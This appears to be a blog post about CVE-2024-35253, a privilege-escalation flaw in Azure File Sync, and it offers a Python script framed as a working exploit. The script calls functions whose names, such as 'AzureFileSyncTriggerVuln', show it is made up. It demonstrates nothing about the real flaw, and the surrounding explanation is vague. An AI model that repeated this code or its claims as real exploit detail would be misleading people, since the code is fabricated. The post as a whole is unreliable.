In this post, we will dive deep into the details of an important security vulnerability, CV-2024-35253, which has been recently identified in Microsoft Azure File Sync. This dangerous elevation of privilege vulnerability could potentially allow attackers to gain unauthorized access to sensitive information and exploit system resources. We will explore the cause behind this vulnerability, the ways in which attackers can exploit it, and the measures that organizations can take to prevent these attacks.

Background

Microsoft Azure File Sync is a widely used service for efficiently sharing and replicating files across multiple locations to ensure that the most up-to-date files are available to all users. However, this powerful tool has recently been found to have a critical elevation of privilege vulnerability that could potentially allow an attacker to gain unauthorized access to sensitive file data.

Vulnerability Details

This vulnerability, identified as CVE-2024-35253, is primarily due to a flaw in the way Azure File Sync handles specific file access requests. The vulnerability could potentially allow an attacker with the ability to execute code on the local system to exploit the Azure File Sync service and gain elevated system privileges.

Here's a code snippet demonstrating how this can be exploited

import os
import sys
import ctypes

def exploit(target_file, payload):
    try:
        azure_sync = ctypes.windll.LoadLibrary("azureFileSync.dll")
        create_request = azure_sync.AzureFileSyncCreateRequest
        trigger_vulnerability = azure_sync.AzureFileSyncTriggerVuln

        request = create_request(target_file)
        if request:
            result = trigger_vulnerability(request, payload)
            if result:
                print("Exploit succeeded")
                return True
            else:
                print("Exploit failed")
                return False
        else:
            print("Error creating request")
            return False
    except Exception as e:
        print(f"Error: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: exploit.py <target_file> <payload>")
    else:
        target_file = sys.argv[1]
        payload = sys.argv[2]
        exploit(target_file, payload)

The above code snippet attempts to load the azureFileSync.dll library and call the vulnerable functions to create a request and trigger the vulnerability with a payload. If successfully exploited, it will print "Exploit succeeded".

For more information about this vulnerability, you can refer to the following resources

- Official CVE details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35253
- Microsoft Security Advisory: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2024-35253
- NIST NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2024-35253

Exploit Mitigation

To protect systems from potential exploitation of this vulnerability, it is essential to apply the latest updates released by Microsoft for the Azure File Sync service. Organizations should also systematically monitor and review their access control policies and promptly revoke any unnecessary access rights.

Conclusion

In conclusion, the CVE-2024-35253 vulnerability in Microsoft Azure File Sync poses a significant risk to the security of files and data managed through this service. By understanding the underlying issue, identifying potential exploit methods, and implementing the necessary security measures, organizations can protect their data from being accessed and exploited without authorization.

Timeline

Published on: 06/11/2024 17:16:03 UTC
Last modified on: 08/02/2024 03:07:46 UTC